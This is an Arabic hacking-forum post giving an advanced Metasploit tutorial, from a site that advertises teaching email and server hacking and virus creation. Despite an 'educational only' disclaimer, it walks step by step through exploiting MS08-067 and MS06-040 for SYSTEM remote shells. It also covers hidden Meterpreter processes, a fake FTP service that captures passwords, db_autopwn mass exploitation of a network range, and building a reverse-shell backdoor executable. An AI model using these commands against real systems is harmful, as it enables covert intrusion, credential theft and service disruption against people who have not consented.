منتدى جاد يا هكر GadyaHacker Forum منتدى مصري لكل العرب

أهلا بك في موقعك الغالي منتدى جاد يا هكر
GadyaHacker Forums
منتدى مصري لكل العرب مسلم + مسيحي = يد واحدة مـــصـر
فكن معنا فأنت المهم عندنا فرضاك غايتنا أنت ممكن تحمل أي حاجة من غير ما تسجل
التسجيل مجاني هيفيدك في الرد وعمل مواضيع جديدة فكن معنا و سجل لعمل موضوع جديد أو رد
و أنت المستفيد للتواصل معنا وشكرا لك و نتمني لك أحلى وأسعد الاوقات
فرأيك مهم لنا ارسل لنا رايك في رسالة أو اتصل بنا على الايميل :
https://www.facebook.com/MagdyTharwat.GAD
https://twitter.com/MagdyTharwat
magdy.tharwat@yahoo.com
منتدى جاد يا هكر GadyaHacker Forum منتدى مصري لكل العرب

learn hack webs-learn hack E-mails-learn hack servers-learn hack computers-create viruss-Defense your pc

 

 

 

 
 

 
 




 
 

 

 

 
 
 

تصويت

ما هو درجة أعجابك بالمنتدى ؟
65% 65% [ 2925 ]
11% 11% [ 476 ]
6% 6% [ 288 ]
4% 4% [ 198 ]
14% 14% [ 627 ]

مجموع عدد الأصوات : 4514

عداد زوارنا يوميا

عداد زوارنا سنويا

AmazingCounters.com
welcome to GadyaHacker Forums

Alexa Site Stats

احصائيات

أعضاؤنا قدموا 502 مساهمة في هذا المنتدى في 140 موضوع

هذا المنتدى يتوفر على 17069 عُضو.

آخر عُضو مُسجل هو noisrael فمرحباً به.

المتواجدون الآن ؟

ككل هناك 0 عُضو متصل حالياً 0 عضو مُسجل, 0 عُضو مُختفي و 0 زائر :: 1 روبوت الفهرسة في محركات البحث

لا أحد


[ مُعاينة اللائحة بأكملها ]


أكبر عدد للأعضاء المتواجدين في هذا المنتدى في نفس الوقت كان 69 بتاريخ الأحد مارس 18, 2012 7:46 am

منتديات جاد أبو الامجاد


    الاستخدامات المتقدمة لمشروع ميتاسبلويت

    شاطر

    ADMIN
    Admin

    الجنس : ذكر عدد المساهمات : 161
    نقاط : 383
    تاريخ التسجيل : 21/12/2010

    الاستخدامات المتقدمة لمشروع ميتاسبلويت

    مُساهمة من طرف ADMIN في الأربعاء ديسمبر 29, 2010 10:21 am

    الاستخدامات المتقدمة لمشروع ميتاسبلويت









    بصراحة وبدون مقدمات لا أعلم لماذا أنا
    معجب جدا بمشروع Metasploit فكلما تعمقت بهذا المشروع وتفاصيله ستعجب به
    أكثر وأكثر! وان لم أكن مخطئ هذا رابع موضوع أكتبه عن مشروع ميتاسبلويت في
    المدونة على الرغم من وجود مشاريع وبرامج أخرى قوية تحتاج لأن يتم التعريف
    بها على الأقل لكن حتى الآن لم أتطرق أو أذكر أي شيء عنها!! أكثر ما يعجبني
    بمشروع Metasploit أنه ليس مجموعة من الثغرات الجاهزة للاستغلال فقط كما
    يعتقد البعض بل المشروع أكبر من ذلك بكثير ويشكل بيئة متكاملة لأي
    Penetration Tester بالاضافة لامكانية استخدام المشروع للقيام بالعديد من
    الأمور التي تفيد مدراء الأنظمة والشبكات, المبرمجين والهاكرز بالدرجة
    الأولى.




    هل تعلم أننا نستطيع استخدام مشروع
    ميتاسبلويت في فحص الشبكات والأجهزة الموجودة فيها ويمكننا اختراقها بشكل
    أوتوماتيكي باستخدام أداة خطيرة موجودة ضمن المشروع تدعى db_autopwn؟
    والمشروع قادر على اعطائنا نتائج دقيقة جدا في عملية الـ Penetration Testing
    لأننا في مشروع ميتاسبلويت نتأكد ان كان الضعف الأمني Vulnerability قابل
    للاستغلال Exploitable أم لا بعكس برامج فحص الثغرات الأخرى التي غالبا
    تعطينا نتائج غير دقيقة وأحياناً خاطئة لأنها تعتمد على المعلومات التي
    حصلت عليها فقط دون القدرة على التأكد من صحتها! هل تعلم أن المشروع يحتوي
    على استغلالات متقدمة جدا تصل للقدرة على التحكم بسطح مكتب الجهاز الذي
    قمنا باختراقه والقدرة على التحكم الكامل بالجهاز مع عدم ظهور أي شيء يدعو
    مدير الشبكة للشك بأن الجهاز مخترق لأن الاستغلال لن يقوم بتشغيل أي برنامج
    قد تظهر بقائمة المهام أو يترك آثار في الجهاز بل سيقوم بحقن مكتبات dll
    في الذاكرة مباشرة مستغلا الثغرة الموجودة في البرنامج! هل تعلم أننا
    نستطيع استخدام المشروع في أمور مفيدة كأن نجعل استغلال الثغرة يقوم بتنصيب
    ترقيع أمني بشكل تلقائي عوضاً عن اختراق الجهاز؟!! وهل تعلم أننا نستطيع
    استعمال المكتبات التي بني عليها ويستخدمها المشروع بعمله في برمجة أدوات
    فعّالة وكتابة استغلال لثغرات Remote Buffer Overflow بكل سرعة وسهولة؟!


    منذ انتقال المشروع للاصدار الثالث واعادة
    برمجته من جديد بلغة روبي عوضا عن بيرل تم جعله ليكون قابل للتطوير بشكل
    كبير وليكون بيئة شاملة يستخدمها أي Hacker أو Penetration Tester في عمله
    ومن اطلع على هيكلة المشروع وطريقة برمجته لفهم تماما ماذا أقصد فالمشروع
    يعتمد بعمله على تخزين كل شيء في قواعد بيانات ويحتوي على نظام تسجيل Log
    مدمج يمكننا استخدامه على 3 مستويات كذلك يمكننا برمجة اضافات Plugins
    للمشروع حتى نجعله يعمل بالطريقة التي تناسبنا أضف الى ذلك امكانية برمجة
    Modules خاصة واضافتها للمشروع ان كان هذا الـ Module ثغرة, Shellcode,
    Encoder أو حتى أداة مساعدة Auxiliary نستخدمها في عملنا.


    قبل البدأ بالشرح أنصحكم بالاطلاع على الموضوع السابق (استخدام مشروع Metasploit و شرح استغلال ثغراته بالتفصيل) ومن الضروري معرفة أن هذا
    الشرح للغرض التعليمي فقط! أنا لا أشجع ولا بأي شكل من الأشكال على
    استخدام المعلومات الموجودة في هذا الموضوع للقيام بأمور تخريبية أو اختراق
    أجهزة الآخرين بشكل غير شرعي أو خارج نطاق شبكتك الخاصة كما أني أخلي
    مسؤوليتي الكاملة من أي ضرر قد يصيب الشبكة أو الأجهزة الموجودة فيها وأنت
    وحدك تتحمل نتيجة استخداماتك!


    تم تنفيذ الشرح على نظام GNU/Linux توزيعة Fedora باستخدام الاصدار 3.2 من مشروع Metasploit والاصدار 1.8.6-p111
    من مفسّر لغة Ruby (بعض الاصدارات الأحدث من مفسّر لغة روبي مثل 1.8.7
    تتعارض مع مشروع ميتاسبلويت مما يؤدي لعدم عمله بالشكل الصحيح, بهذه الحالة
    علينا عمل Downgrade وحذف الاصدار المنصّب في التوزيعة و تحميل الاصدار
    1.8.6 ثم تنصيبه على الجهاز بعد بناءة من المصدر.)


    مشروع Metasploit يتطلّب اعداد بيئة
    مناسبة لتشغله واستخدام اضافاته لذلك تأكد من وجود الحزم التالية منصّبة في
    التوزيعة التي تستخدمها:

    ruby ruby-irb ruby-libs ruby-rdoc ruby-devel readline rubygems rubygem-rails ruby-gtk2
    ruby-libglade2 subversion sqlite3 rubygem-sqlite3-ruby


    وبعد تحميل المشروع وتنصيبه من الأفضل تحديثه لآخر اصدار باستخدام الأمر:
    svn update framework-3.2

    استبدل framework-3.2 باسم/مسار مجلد المشروع أو قم بالدخول للمجلد من سطر الأوامر ونفذ الأمر:
    svn update

    حاليا أنا أعمل على الاصدار: At revision 6585. قد يكون الرقم لديك مختلف (المفروض اما نفسه أو أكثر)



    التعامل مع المشروع باستخدام الواجهات المرفقة

    يأتي مشروع Metasploit بعدة واجهات تمكننا من استخدام المشروع بالطريقة التي تناسبنا فاذا اطلعنا على مجلد المشروع سنشاهد التالي:



    msfconsole:
    سطر أوامر مشروع ميتاسبلويت ويمكننا اعتباره الواجهة الرئيسية للمشروع,
    يوفر لنا سطر أوامر المشروع تحكم كامل في ميتاسبلويت, الثغرات وجميع
    الأدوات الموجودة بالمشروع ونستطيع من خلاله الوصول لجميع البرامج الموجودة
    في الجهاز كما أنه يحتوي على نفس خصائص سطر أوامر نظام لينوكس مثل دعم
    الاكمال التلقائي بالضغط على زر Tab ويمكننا عند استخدامه تحديد المتغيرات
    التي نريدها مسبقا لنتمكن من استغلال الثغرات بشكل سريع والعديد من الأمور
    الأخرى (شخصيا أجد أن سطر الأوامر هو الطريقة الأنسب للتعامل مع المشروع
    وستلاحظون ذلك أثناء استخدامه في الشرح).




    msfcli:
    واجهة أخرى تعمل من سطر الأوامر لكنها تختلف عن msfconsole بأنها ليست
    تفاعلية (Interactive) أي أننا لن نحتاج للدخول الى سطر أوامر المشروع
    وتنفيذ عدة أوامر لاستغلال الثغرة بل نستطيع القيام بذلك بتنفيذ أمر واحد
    فقط بعد تحديد الخيارات التي نريدها بشكل صحيح وهذا يفيدنا في استخدام
    المشروع من خلال Bash Script أو أي برنامج آخر, نفذ الأمر:

    ./msfcli

    لاستعراض الخيارات التي يوفرها msfcli
    ولاستعراض جميع الثغرات/الأدوات المساعدة الموجودة في مشروع ميتاسبلويت كما
    هو ظاهر في الصورة التالية:




    حسنا كون msfcli ليست واجهة غير تفعالية
    هذا يعني أننا نستطيع التعامل مع المشروع واستغلال الثغرات باستخدام أمر
    واحد فقط! كذلك يمكننا استخدامها مع برامج أخرى, لنفرض أننا نريد استغلال
    الثغرة MS08-67 في البداية نتأكد من وجودها في المشروع باستخدام الأمر:

    ./msfcli | grep "ms08_067"

    ليظهر لنا اسم الثغرة التي نريد استغلالها “exploit/windows/smb/ms08_067_netapi” ننفذ الأمر:
    ./msfcli exploit/windows/smb/ms08_067_netapi S

    ليتم عرض معلومات عن الثغرة كما هو واضح في الصورة التالية:



    لاظهار خيارات الثغرة, نستخدم الأمر:
    ./msfcli exploit/windows/smb/ms08_067_netapi O



    أما لاظهار الخيارات المتقدمة نستخدم الأمر:
    ./msfcli exploit/windows/smb/ms08_067_netapi A

    بالنسبة لي سأبقي الخيارات الافتراضية كما هي مع تحديد قيمة RHOST فقط وأنفذ الأمر:
    ./msfcli exploit/windows/smb/ms08_067_netapi RHOST=192.168.2.128 P

    لاستعراض الـ Payloads التي توفرها هذه الثغرة:



    لنفرض أننا اخترنا أبسط استغلال “windows/shell/bind_tcp” ونريد اختراق الجهاز 192.168.2.128 اذا كل ما علينا هو تنفيذ الأمر:
    ./msfcli exploit/windows/smb/ms08_067_netapi RHOST=192.168.2.128
    PAYLOAD=windows/shell/bind_tcp O


    لاظهار خيارات الاستغلال كما هو واضح في الصورة التالية:



    بالنسبة لي سأغير المنفذ الافتراضي الذي
    سيتم فتحه بالجهاز الى 2222 لذلك نحدد قيمة LPORT ولا ننسى تحديد RHOST مرة
    أخرى أيضا ليصبح الاستغلال النهائي بهذا الشكل:

    ./msfcli exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/shell/bind_tcp
    RHOST=192.168.2.128 LPORT=2222 E


    لاحظ أننا أضفنا الى نهاية الأمر E ليتم تشغيل الاستغلال:



    كما تلاحظون تمكّنا من اختراق الجهاز
    والحصول على remote Shell بصلاحيات SYSTEM بتنفيذ أمر واحد فقط!!! <<
    مين فيكم يستخدم ويندوز؟ Very Happy ومن مازال يعيش في عصر عنترة بن شداد ويفكر
    بالاختراق باستخدام باتش أو استغلال ثغرة في IE!!؟


    msfgui:
    الواجهة الرسومية من مشروع ميتاسبلويت, تمت برمجتها باستخدام مكتبة GTK
    ولغة Ruby لذلك احتجنا لوجود الحزم ruby-gtk2 , ruby-libglade2 منصبة في
    التوزيعة التي نستخدمها, نستطيع عن طريق هذه الواجهة عمل كل شيء والتحكم
    الكامل في المشروع فهي تحتوي على سطر أوامر المشروع مدمج بداخلها كما أنها
    تقوم بتصنيف الثغرات والـ Modules الموجودة في المشروع بطريقة جميلة وبسيطة
    وكل ماعلينا هو النقر مرتين على الثغرة التي نريد لتظهر لنا نافذة تطلب
    منا الخيارات لتنفيذ الثغرة, كما تحتوي الواجهة على نافذتين الأولى تظهر
    لنا الثغرات التي تعمل Jobs والأخرى تظهر لنا الاستغلالات الناجحة التي
    حصلنا عليها Sessions, يتم تشغيلها بتنفيذ الأمر:

    ./msfgui

    msfweb:
    هذه الواجهة تعمل عن طريق المتصفح بالاعتماد على مشروع Ruby On Rails
    وتعتبر هذه الواجهة الأساسية في نظام ويندوز, يمكننا تشغيل msfweb باستخدام
    الأمر:

    ./msfweb

    بعد ذلك كل ماعلينا هو فتح المتصفح على الرابط:
    [ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط]

    لتظهر لنا الواجهة كما هو واضح في الصور التالية:



    يجب علينا الحذر عند استخدام هذه الواجهة
    داخل الشبكة لأنها لا تحتوي على نظام تسجيل دخول أو أي نظام حماية مما يمكن
    الأشخاص الموجودين في الشبكة من استخدام المشروع وهذا قد يعرض جهازك
    للاختراق! اذا أردت استخدام هذه الواجهة يجب اعداد الجدار الناري بطريقة
    صحيحة لتمنع الآخرين من الاتصال بجهازك عن طريق المنفذ 55555.


    msfd: تقوم بتشغيل مشروع Metasploit كخدمة في الجهاز وتمكننا من استخدامه عن بعد باستخدام الأداة Netcat
    أو Telnet مثلا, الجميل في msfd أنها تمكن أكثر من شخص من استخدام نفس
    المشروع كما أنها تسمح لهم بمشاركة العمليات والـ Sessions فيما بينهم.
    نفّذ الأمر:

    ./msfd -h

    لاستعراض الخيارات:



    نستخدم a لتحديد أيبي الجهاز الذي ستعمل عليه الخدمة ونستخدم p لتحديد المنفذ الذي نريد عوضا عن المنفذ الافتراضي 55554, مثلا:
    ./msfd -a 192.168.2.1 -p 55442

    الآن أي شخص يستطيع استخدام مشروع ميتاسبلويت عن بعد باستخدام أداة Netcat أو Telent وذلك بتنفيذ الأمر:
    nc 192.168.2.1 55442

    لاحظ أن هذه الخدمة أيضا لاتحتوي على نظام
    حماية أو تسجيل دخول وهذا يمكن أي شخص موجود داخل الشبكة من الاتصال
    بالجهاز الذي يعمل عليه msfd والتحكم بالجهاز بشكل كامل!


    الاستغلالات المتقدمة في مشروع Metasploit

    بشكل عام عندما نريد استغلال أي ثغرة
    Buffer Overflow موجودة في برنامج أو نظام تشغيل يجب أن نختار Payload أو
    مايعرف بالـ Shellcode وهو الكود الذي سيتم حقنه بالذاكرة وتشغيله بعد
    السيطرة على مسجّل EIP والتحكم في سير البرنامج (ان شاء الله سأبدأ
    بالكتابة عن ثغرات Buffer Overflow قريبا… ) الـ Shellcode هو مجموعة من
    الأوامر مبرمجة بلغة Assembly يستطيع المعالج فهمها وتنفيذها بشكل مباشر.
    يتميز ميتاسبلويت بأنه يحتوي على الكثير من الاستغلالات الجاهزة ويمكننا
    ببساطة صناعة الاستغلال الذي نريد بعد وضع الخيارات التي تناسبنا وتصديره
    لعدة صيغ مختلفة بكل سهولة! فباستخدام مشروع Metasploit ليس من الضروري أن
    تكون خبير بلغة Assembly لتتمكن صناعة شيل كود الخاص بك.


    أهم الاستغلالات الموجودة وأقواها في
    مشروع ميتاسبلويت هو Meterpreter (خاص بنظام ويندوز فقط) يقوم هذا
    الاستغلال بحقن ملفات dll بنفس البرنامج/النظام الذي قمنا باستغلال الثغرة
    الموجودة فيه. هذا يعني أن مدير السيرفر لن يرى أي برنامج Process يعمل في
    قائمة المهام (لكن يمكن طبعا باستخدام أدوات متخصصة معرفة المكاتب
    الديناميكية المحملة للنظام لكني أتحدى أن أجد مدير أي سيرفر يستخدم أدوات
    مراقبة لهذه الدرجة!) أضف الى ذلك أننا سنحصل على تحكم أكثر من كامل في
    الجهاز وسنصبح قادرين على تشغيل عدة برامج تفاعلية بنفس الوقت دون أن نخسر
    الـ remote Shell بالاضافة لسهولة رفع وتنزيل الملفات وادارة الـ Processes
    التي تعمل بالجهاز والكثير من الأمور الأخرى ونستطيع القول أن هذا
    الاستغلال مشروع لوحده! حيث نستطيع برمجة سكريبتات واضافات خاصة له ومع كل
    تحديث يتم اضافة ميزات وقدرات جديدة له.


    لنفرض أننا نريد استغلال الثغرة
    “windows/smb/ms06_040_netapi” وهي ثغرة أخرى بنفس خطورة الثغرة السابقة
    لكنها أقدم قليلا (اكتشفت في عامل 2006 بنظام Windows XP SP0/SP1) مع
    اختيار Meterpreter كـ Payload.. في البداية نشغّل سطر أوامر المشروع
    بتنفيذ الأمر:

    ./msfconsole

    ثم ننفّذ الأوامر التالية:
    msf > use windows/smb/ms06_040_netapi
    msf exploit(ms06_040_netapi) > set RHOST 192.168.2.128
    msf exploit(ms06_040_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
    msf exploit(ms06_040_netapi) > set LPORT 22445


    قمنا في الأوامر السابقة بادخلال اعدادات الثغرة (راجع هذا الموضوع لمزيد من التفاصيل) الآن يبقى علينا تنفيذ الأمر exploit لتنفيذ الثغرة وعمل سطر أوامر Meterpreter كما هو واضح بالصورة التالية:



    كأي برنامج أو أداة أخرى يجب أن نبحث عن طريقة الاستخدام, بدون تفكير ننفّذ الأمر help لمعرفة أوامر Meterpreter وكيفية التعامل معه:
    meterpreter > help



    لاحظ الخيارات الكثيرة التي يوفرها لنا
    Meterpreter وكيف أنه سهّل علينا كثير من الأمور حاول أن تقرأ وظيفة كل أمر
    وتقوم بتجربته, مثلا لرفع ملف للجهاز لم نعد بحاجة لتشغيل سيرفر TFTP في
    جهازنا واستخدام TFTP Client الموجود في نظام ويندوز بل نستطيع القيام بذلك
    بكل سهولة عن طريق الأمر:

    meterpreter > upload FILENAME

    استبدل FINLENAME باسم الملف الذي تريد
    رفعه مع مراعاة وجوده داخل مجلد المشروع ولتحميل ملف نستخدم نفس الأمر
    السابق مع استبدال upload بـ download:

    meterpreter > download FILENAME



    من أكثر الأمور التي أعجبتني في
    Meterpreter هي قدرتنا على تشغيل عدة برامج تفاعلية بنفس الوقت مثل ftp
    أداة Netcat بعد رفعها للاتصال مع جهاز ثاني والكثير من البرامج التفاعلية
    الأخرى التي لا نستطيع تشغيلها باستخدام الـ remote shell العادي. في
    البداية ننفذ الأمر execute للاطلاع على الخيارات المتوفرة:

    meterpreter > execute

    مثلا ننفذ الأمر:
    meterpreter > execute -H -i -f cmd.exe

    ليتم تشغيل سطر أوامر نظام ويندوز والحصول على remote Shell كامل كما هو واضح في الصورة:



    استخدمنا H لاخفاء البرنامج من قائمة مهام
    نظام ويندوز و i للتفاعل المباشر مع البرنامج وتستخدم f لتحديد البرنامج
    الذي نريد تشغيله.. نستطيع بأي وقت الخروج والعودة لسطر أوامر Meterpreter
    بتنفيذ الأمر exit أو الضغط على (Ctrl + C) حسناً ماذا لو لم نرد التفاعل
    مع البرنامج مباشرة وأردنا تشغيله في الخلفية مع بقائنا داخل سطر أوامر
    Meterpreter بهذه الحالة نستخدم c عوضا عن i:

    meterpreter > execute -H -c -f cmd.exe



    وعندما نريد التفاعل مع البرنامج ننفذ الأمر interact متبوعاً برقم الـ Channel بهذا الشكل:
    meterpreter > interact 10

    في حال قمنا بتشغيل أكثر من برنامج بالطريقة السابقة ننفذ الأمر:
    meterpreter > channel -l

    لاستعراض البرامج التي قمنا بتشغيلها, كذلك نستطيع الاطلاع على البرامج التي تعمل على الجهاز باستخدام الأمر:
    meterpreter > ps

    ولايقاف تشغيل برنامج ننفذ الأمر:
    meterpreter > kill PID

    مع استبدال PID بعنوان البرنامج الذي نريد:



    يوجد الكثير من الأوامر الأخرى بعضها مثل
    نظام لينوكس مثل ls , pwd , cat , mkdir , rmdir وأخرى متعلقة بالشبكات مثل
    ipconfig و route بالاضافة لأمر أعجبني هو portfwd أتوقع أن وظيفته
    واضحة.. لن أشرحه بل سأترككم لتجربوه بأنفسكم.


    يوجد العديد من الاستغلالات الأخرى في
    مشروع ميتاسبلويت احداها vncinject الذي يقوم بحقن مكتبات dll خاصة ببرنامج
    RealVNC في الذاكرة مما يسمح لنا بالتحكم الكامل بسطح مكتب الجهاز الذي
    نجحنا باستغلال الثغرة الموجودة فيه:




    وغيره الكثير مثل اضافة مستخدم جديد
    للنظام, رفع وتشغيل ملف, اتصال عكسي, فتح منفذ بالجهاز… كل ماعليك هو
    اختيار الاستغلال الأنسب فمثلا اذا كان الجهاز الذي نحاول اختراقه يستخدم
    جدار ناري فليس من الحكمة أن نختار استغلال يقوم بفتح منفذ بالجهاز
    bind_tcp لأننا ببساطة لن نتمكن من الاتصال به وبهذه الحالة يجب جعل
    الاستغلال اتصال عكسي reverse_tcp بعد التأكد من فتح المنفذ الذي قمنا
    باختياره في الجدار الناري الموجود في جهازنا وهكذا..


    الأدوات المساعدة Auxiliary

    شخصيا أجد أن الأدوات المساعدة المرفقة مع
    مشروع ميتاسبلويت من أجمل الأمور فيه فهي عبارة عن أدوات بسيطة تستخدم
    مكتبات مشروع ميتاسبلويت لتساعدنا في عملية الـ Penetration Testing
    واستغلال الثغرات, مثل Scanners, Fuzzers, Client Side/DoS Exploits , Fake
    Services… ونستطيع مشاهدة القائمة الكاملة بعد تشغيل الواجهة msfconsole
    وذلك بتنفيذ الأمر:

    msf > show auxiliary



    استخدام هذه الأدوات نفس طريقة استغلال
    الثغرات تماما ويأتي مع كل أداة شرح لوظيفتها وطريقة استخدامها, مثلا لنفرض
    أننا نريد انشاء خدمة FTP وهمية تقوم بالتقاط اسم المستخدم وكلمة المرور
    عند القيام بتسجيل الدخول, كل ماعلينا هو تنفيذ الأمر:

    msf > use server/capture/ftp

    ثم نحدد IP الجهاز الذي يعمل عليه المشروع, بتنفيذ الأمر:
    msf auxiliary(ftp) > SET SRVHOST 192.168.2.1

    وفي النهاية تنفيذ الأمر exploit لتشغيل
    الخدمة الوهمية, الآن في حال قام أي شخص بالاتصال بالجهاز عن طريق المنفذ
    21 سنتمكن من التقاط اسم المستخدم وكلمة المرور التي قام بتسجيل الدخول
    بها.


    ملاحظة: كوننا سنستخدم المنفذ 21 لتشغيل
    خدمة FTP الوهمية هذا سيتطلب منا تشغيل المشروع بصلاحيات root الا في حال
    قمنا باختيار منفذ ثان.


    يوجد الكثير من الأدوات المساعدة الأخرى أنصح بتجربتها فاستخدامها ممتع وتفيدنا في الكثير من الأمور أثناء عملنا.

    أداة db_autopwn لتجربة الثغرات واختراق الأجهزة بشكل تلقائي

    تعتبر الأداة db_autopwn من أخطر الأمور
    التي أضيفت لمشروع ميتاسبلويت في الاصدار الثالث, وظيفة الأداة جعل عملية
    تنفيذ الثغرات يتم بشكل تلقائي فالأداة قادرة على القيام بفحص الشبكة
    والأجهزة الموجودة فيها باستخدام Nmap أو برنامج Nessus
    مثلا وتخزين المعلومات في قواعد بينات وبالاعتماد على المعلومات التي حصلت
    عليها (نوع النظام, المنافذ المفتوحة, الخدمات التي تعمل, الثغرات
    المكتشفة… ) تقوم الأداة بتجربة جميع الثغرات المحتملة واحدة تلو الأخرى
    على جميع الأجهزة الموجودة في النطاق الذي قمنا بتحديده! (يمكننا القول أن
    ماسنقوم به هو Penetration Testing حقيقي ولم يعد Vulnerability Assasmint
    كما في برنامج Nessus لأننا سنقوم بفحص المنافذ, تحديد الخدمات, اكتشاف
    الثغرات, التأكد من وجودها باستخدام Metasploit واضافة db_autopwn) كثيرون
    يعتقدون أن عملية اختبار الاختراق تتم بواسطة أدوات فحص الثغرات مثل GFI و
    Nessus وهذا خطأ لأن الـ Vulnerability Assasmint جزء من الـ Penetration
    Testing لكن بنفس الوقت ميتاسبلويت ليس كل شيء يووجد الكثير الكثير من
    الأمور والأدوات الأخرى تستخدم في عملية الـ Pentesting ويجب دائما اخبار
    النتائج والتأكد من صحتها بشكل يدوي.)


    لاستعمال الاداة نقوم في البداية تشغيل سطر أوامر المشروع:
    ./msfconsole

    كما قلنا الأداة ستستخدم قواعد البينات لذلك ننفذ الأمر:
    msf > load db_sqlite3

    لتحميل اضافة قواعد بيانات sqlite3 (يوجد
    عدة اضافات تمكننا من التعامل مع قواعد بيانات أخرى مثل sqlite2 , mysql ,
    postgres تستطيع اختيار أي واحدة مهم بعد التأكد من تنصيب قواعد البينات في
    جهازك, بالنسبة لي أفضل sqlite لخفتها مع العلم أن باقي الخطوات نفسها
    تماما لا تختلف بشيء)


    الأن نقوم بانشاء قاعدة بيانات جديدة بتنفيذ الأمر:
    msf > db_create autopwn



    تستطيع استبدال autopwn بأي اسم تختاره
    مثلا mynetwork, metasploit, pentest… اختر أي اسم تريد بعد ذلك يوجد لدينا
    عدة خيارات اما استخدام nmap في فحص المنافذ المفتوحة في جهاز محدد أو
    نطاق شبكة ومعرفة النظام والخدمات التي تعمل بالاعتماد على المنافذ
    المفتوحة أو فحص الثغرات الموجودة بالشبكة باستخدام Nessus وبالاعتماد على
    المعلومات التي حصلنا عليها ستقوم الأداة بتجربة الثغرات المحتملة حسب
    الخيارات التي قمنا بتحديدها كذلك نستطيع اضافة ملف xml خاص بنتائج أداة
    Nmap أو nbe خاص بنتائج Nessus.. اختر مايناسبك بهذا الشرح سنستخدم Nmap
    لذلك ننفذ الأمر:

    msf > db_nmap 192.168.2.*

    لفحص الأجهزة الموجودة في النطاق
    192.168.2.0/24 (ليس بالضرورة فحص نطاق كامل نستطيع أيضا تحديد IP جهاز
    واحد فقط) وعند الانتهاء ستقوم الأداة db_nmap بتخزين النتائج التي حصلت
    عليها في قاعدة البيانات, لمعرفة الأجهزة التي تم العثور عليها ننفذ الأمر:

    msf > db_hosts

    ولمعرفة الخدمات التي تم اكتشافها نستخدم الأمر:
    msf > db_services



    عند استخدام Nessus نستخدم الأمر:
    msf > db_vulns

    لمعرفة الثغرات المكتشفة, الآن نشغل الأداة db_autopwn لمعرفة خياراتها وطريقة استخدامها بتنفيذ الأمر:
    msf > db_autopwn

    أخيرا نشغّل الأداة باستخدام الأمر:
    msf > db_autopwn -p -e -b



    استخدمنا p لاختيار الثغرات بالاعتماد على
    المنافذ المفتوحة بالجهاز (في حال استخدام برنامج Nessus يمكننا اختيار x
    عوضا عن p ليتم اختبار الثغرات بالاعتماد على نتائج فحص Nessus) أما e فهو
    لتشغيل الثغرات و b ليكون الاستغلال عبارة عن فتح منفذ (استخدم r ليكون
    الاستغلال عبارة عن اتصال عكسي) طبعا يوجد خيارات أخرى للأداة كأن نجعل
    الأداة تقوم بتجربة الثغرات على نطاق محدد أو استثناء أجهزة موجودة ضمن
    نطاق وبعض الخيارات الأخرى أترككم لتكتشفوها بأنفسكم.


    عند انتهاء أداة db_autopwn من عملها نفّذ الأمر:
    msf > sessions -l

    لترى الأجهزة التي تمكنا من اختراقها والاتصالات الناجحة ونستخدم الأمر:
    session -i ID

    ليتم استخدام الاتصال والحصول على remote shell من الجهاز المصاب بالثغرة.

    ملاحظة:
    اختبار الثغرات بهذا الشكل أمر خطير وقد يسبب لنا العديد من المشاكل
    فاستغلال الثغرات لاينجح دائما ويعطينا remote Shell الخطأ باستغلال الثغرة
    قد يؤدي أحيانا لـ Denial of Service وايقاف الجهاز/الخدمة عن العمل!
    وطبعا ليس من الذكاء استخدام الأداة على نطاق كبير يحتوي على العديد من
    الأجهزة لأن عملية ستأخذ وقت كبير وقد تتوقف الأداة عن عملها ولذلك يفضّل
    استخدام الأداة على مراحل ومن تجربتي الشخصية مازلت أرى أن الأداة غير
    ثابتة بالشكل المطلوب وتحتاج لمزيد من التطوير لتحقيق ثبات أكثر ففي كثير
    من الأحيان تتوقف الأداة عن عملها وتستهلك حجم كبير من الذاكرة. أخيرا لا
    تتحامق وتفكر بتجربة استخدامها على نطاق IP مزود الخدمة أو أي جهة أخرى
    بشكل غير شرعي لأنه يمكن كشفك ببساطة وقوانين أبسط IDS سيكتشف هذا العدد
    الكبير من الثغرات التي تقوم بتجربتها مع العلم أن الاختراق بهذا الشكل لا
    يعد “عبقرية” وليس “شطارة” بل هو الغباء بعينه!


    صناعة Shellcode / Backdoor وتشفيره



    من أهم ميزات مشروع ميتاسبلويت قدرته على
    صناعة شيل كود بالخيارات التي نريدها بمنتهى السرعة والسهولة, كما قلت
    سابقا سنحتاج للشيل كود في كتابة استغلال الثغرة فعندما يتم اكتشاف ثغرة في
    برنامج ما يجب أن يتم برمجة برنامج بسيط يقوم باستغلالها وهذا الأمر يرجع
    للمكتشف فالبعض يختار Perl , Python , C حسب الثغرة وطبيعتها لكن الأمر
    المؤكد أننا سنحتاج لشيل كود مبرمج بلغة Assembly بخصائص معينة, يتم حقنه
    داخل الذاكرة وتنفيذه من قبل المعالج مباشرة مع العلم أن برمجة هذا الكود
    ليس بالأمر السهل لذلك الأغلبية يلجأ لاستخدام Shellcode جاهز بخيارات
    محددة مسبقا أما في مشروع ميتاسبلويت فالأمر أسهل من ذلك وأفضل بكثير..
    يكفي أنك قادر على صناعة Shellcode بالخيارات التي تريدها خلال بضعة ثوان!


    نستطيع صناعة الـ Shellcode الذي نريده
    باستخدام الأداة msfpayload الموجودة داخل مجلد المشروع ونستخدم msfencode
    لتشفيره, في البداية نقوم باستعراض الـ Shellcodes الموجودة داخل المشروع
    وخيارات msfpayload باستخدام الأمر:

    ./msfpayload

    لنفرض أننا نريد استخدم windows/shell/reverse_tcp لانشاء اتصال عكسي, في البداية ننفذ الأمر التالي لمعرفة خيارات الشيل كود:
    ./msfpayload windows/shell/reverse_tcp S

    لاحظ أن طريقة استخدام الأداة msfpayload
    نفس msfcli تماما, لصناعة شيل كود يستخدم في برمجة اسغلال مكتوب بلغة C
    نقوم في البداية بتحديد الخيارات التي نريدها باستخدام الأمر:

    ./msfpayload windows/shell/reverse_tcp LHOST=192.168.2.1 LPORT=22445 C

    نستطيع استبدال C بـ y للغة روبي وبـ P
    للغة Perl وهكذا… راجع خيارات msfpayload لمعرفة باقي اللغات لكن المميز
    بالأمر هو قدرة المشروع على صناعة ملف تنفيذي بالامتداد exe (باك دور بسيط)
    نعيد تنفيذ الأمر السابق مع استبدال C بـ X لكن بهذه الحالة يجب ارسال
    المخرجات لملف وليس طباعتها على الشاشة! لذلك ننفذ الأمر بهذا الشكل:

    ./msfpayload windows/shell/reverse_tcp LHOST=192.168.2.1 LPORT=22445 X > reverse_tcp.exe

